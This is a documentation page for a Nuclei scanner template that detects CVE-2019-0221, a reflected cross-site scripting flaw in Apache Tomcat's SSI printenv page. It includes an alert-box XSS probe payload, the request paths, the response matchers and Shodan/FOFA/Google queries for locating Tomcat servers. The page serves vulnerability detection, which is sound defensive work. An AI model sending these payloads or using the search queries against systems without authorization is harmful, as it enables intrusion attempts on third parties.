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Apache Tomcat - Cross-Site Scripting

ID: CVE-2019-0221

Severity: medium

Author: pikpikcu

Tags: cve2019,cve,apache,xss,tomcat,seclists,edb

Description

Section titled “Description”

Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.

YAML Source

Section titled “YAML Source”
id: CVE-2019-0221


info:
  name: Apache Tomcat - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/May/50
    - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
    - https://www.exploit-db.com/exploits/50119
    - https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0221
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-0221
    cwe-id: CWE-79
    epss-score: 0.01096
    epss-percentile: 0.84374
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2019,cve,apache,xss,tomcat,seclists,edb
variables:
  payload: "<script>alert({{rand_int()}})</script>"


http:
  - method: GET
    path:
      - "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
      - "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "QUERY_STRING_UNESCAPED={{payload}}"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210083f3ae94bce682623e4d3c66424a929d8f868bed17aa36ae8fc5140f5dd6ddd002206c68e3c33fb4b061f3822e49c6a88e0f98b6b1159f1b6f7440e7d6236e4b51a6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-0221.yaml"

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